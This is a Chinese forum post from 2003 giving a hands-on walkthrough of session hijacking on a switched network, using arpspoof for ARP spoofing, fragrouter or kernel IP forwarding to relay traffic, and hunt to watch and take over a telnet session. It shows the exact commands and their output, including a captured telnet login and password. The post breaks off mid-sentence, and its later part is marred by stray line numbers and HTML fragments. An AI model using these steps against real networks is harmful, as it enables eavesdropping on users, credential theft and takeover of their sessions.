由 wheel 在 07-23-2003 13:27 发表:
交换环境下的会话劫持
交换环境下的会话劫持
一.前言
在交换式网络环境之下,数据包被发送给指定端口,为会话劫持增加了难度。但是,还是可以在交换式网络上实现会话劫持和监视会话的。本文主要介绍一下如何利用arpspoof、fragrouter和hunt在交换环境下进行会话劫持。
二.攻击
环境:
用户 IP: 10.10.10.1 win2k
服务器 IP: 10.10.10.2 linux
攻击者 IP: 10.10.10.3 linux
注:三台机器是连在一个交换机上的。
软件:
arpspoof是dsniff软件包的一个程序,可以用来进行ARP欺骗,另外dsniff还有一些攻击和欺骗的东东。
fragrouter是一个包转发工具,可以利用测试IDS包重组的能力。
Hunt是一个会话劫持的工具,操作简单,功能强大。
原理:通过arpspoof进行ARP欺骗,让两台机器通信的数据包留经攻击者的机器,然后利用fragrouter进行转包,最后利用Hunt进行会话劫持。
过程:
1.获取MAC地址
[root@w3w6 dsniff-2.3]#ping 10.10.10.1
64 bytes from 10.10.10.1: icmp_seq=0 ttl=128 time=1.3ms
...
[root@w3w6 dsniff-2.3]#ping 10.10.10.2
64 bytes from 10.10.10.2: icmp_seq=0 ttl=255 time=3.8ms
...
--这样攻击者就知道了10.10.10.1和10.10.10.2的MAC地址
2.ARP欺骗:是利用广播地址上主机保持周边计算机信息方式的固有安全弱点,使用伪造的MAC地址和IP地址伪装成ARP高速缓存中的另外一台主机的技术。攻击者可以伪造其它主机的MAC地址,通过伪造ARP回应获取LAN内的一台主机发送给另外一台主机的数据包。
[root@w3w6 dsniff-2.3]# ./arpspoof -i eth0 -t 10.10.10.1 10.10.10.2
0:50:56:7b:b4:d8 0:1:2:9a:19:bd 0806 42: arp reply 10.10.10.2 is-at 0:50:56:7b:b4:d8
0:50:56:7b:b4:d8 0:1:2:9a:19:bd 0806 42: arp reply 10.10.10.2 is-at 0:50:56:7b:b4:d8
--告诉10.10.10.1服务器10.10.10.2的MAC地址为00:50:56:7b:b4:d8,也就是攻击者的MAC地址,这样10.10.10.1发向10.10.10.2的数据包都重定向到10.10.10.3
[root@w3w6 dsniff-2.3]# ./arpspoof -i eth0 -t 10.10.10.2 10.10.10.1
0:50:56:7b:b4:d8 0:50:56:59:2a:a2 0806 42: arp reply 10.10.10.1 is-at 0:50:56:7b:b4:d8
0:50:56:7b:b4:d8 0:50:56:59:2a:a2 0806 42: arp reply 10.10.10.1 is-at 0:50:56:7b:b4:d8
--告诉10.10.10.12用户10.10.10.1的MAC地址为00:50:56:7b:b4:d8,也就是攻击者的MAC地址,这样10.10.10.2发向10.10.10.1的数据包都重定向到10.10.10.3
--通过上面的两个arpspoof命令,攻击者完成了ARP欺骗,造成用户和服务器的通信完全重定向到攻击者的机器。
但是,为了使客户和服务器正常的通信,需要将攻击者机器的IP转发功能打开,使其起到一个路由器的功能。
3.数据转发:转发客户和服务器间的数据包
一是利用linux内核进行转,echo 1 > /proc/sys/net/ipv4/ip_forward
二是利用fragrouter,简单的打开包转发功能
[root@w3w6 fragrouter-1.6]# ./fragrouter -B1
....
10.10.10.1.1558 > 10.10.10.2.80: S 2776465951:2776465951(0) win 16384
1<mss 1460,nop,nop,sackok=""> (DF)
2
310.10.10.2.80 > 10.10.10.1.1558: S 35432263:35432263(0) ack 2776465952 win 5840 <mss 1460,nop,nop,sackok=""> (DF)
4
510.10.10.2.80 > 10.10.10.1.1558: S 35432263:35432263(0) ack 2776465952 win 5840 <mss 1460,nop,nop,sackok=""> (DF)
6
710.10.10.1.1558 > 10.10.10.2.80: . ack 35432264 win 17520 (DF)
8
910.10.10.1.1558 > 10.10.10.2.80: P 2776465952:2776466230(278) ack 35432264 win 17520 (DF)
10
1110.10.10.2.80 > 10.10.10.1.1558: . ack 2776466230 win 6432 (DF)
12
1310.10.10.2.80 > 10.10.10.1.1558: . 35432264:35433724(1460) ack 2776466230 win 6432 (DF)
14
1510.10.10.1.1558 > 10.10.10.2.80: . ack 35432264 win 17520 (DF)
16
1710.10.10.2.80 > 10.10.10.1.1558: . 35435184:35436644(1460) ack 2776466230 win 6432 (DF)
18
19...
20
21\--可以看出10.10.10.1与10.10.10.2的通信已经被重定向到10.10.10.3
22
23
24
254.会话劫持:劫持一个现存的会话,利用合法用户进行连接并通过验证,之后顺其自然接管会话。会话劫持有两种方式:积极的攻击方式和消极的攻击方式。积极的攻击方式中,黑客需要寻找动态的会话并且接管它,这种方式需要使用户下线、不再参与会话。消极的攻击方式中,黑客劫持会话,但是隐藏在后方观察并且记录发送和接收的信息。下面采用混合型攻击方式:先监视会话,然后劫持会话。
26
27
28
29[root@w3w6 hunt-1.5]# ./hunt
30
31/*
32
33* hunt 1.5
34
35* multipurpose connection intruder / sniffer for Linux
36
37* (c) 1998-2000 by kra
38
39*/
40
41starting hunt
42
43\--- Main Menu --- rcvpkt 3, free/alloc 63/64 ------
44
45l/w/r) list/watch/reset connections
46
47u) host up tests
48
49a) arp/simple hijack (avoids ack storm if arp used)
50
51s) simple hijack
52
53d) daemons rst/arp/sniff/mac
54
55o) options
56
57x) exit
58
59*> l
60
610) 10.10.10.1 [1364] --> 10.10.10.2 [23] ----用户正在telnet到服务器
62
63\-
64
65\--监视会话
66
67-> w
68
690) 10.10.10.1 [1364] --> 10.10.10.2 [23]
70
71
72
73choose conn> 0
74
75dump [s]rc/[d]st/[b]oth [b]> b
76
77print src/dst same characters y/n [n]> y
78
79
80
81CTRL-C to break
82
83tttttteeeeeesssssstttttt
84
85
86
87
88
89Password: Password: Password: ttteeesssttt
90
91
92
93
94
95Last login: Fri Mar 22 19:35:39 from 10.10.10.1
96
97Last login: Fri Mar 22 19:35:39 from 10.10.10.1
98
99Last login: Fri Mar 22 19:35:39 from 10.10.10.1
100
101[test@w3w7 test]$ [test@w3w7 test]$ [test@w3w7 test]$ lllsss
102
103
104
105haha hehe
106
107...
108
109\----可见用户刚登录,用户名为test,口令也为test(呵呵,这是巧合,未必一定能在用户登录的时候监视到,除非是一直监视或是运气好),用户登录后</mss></mss></mss>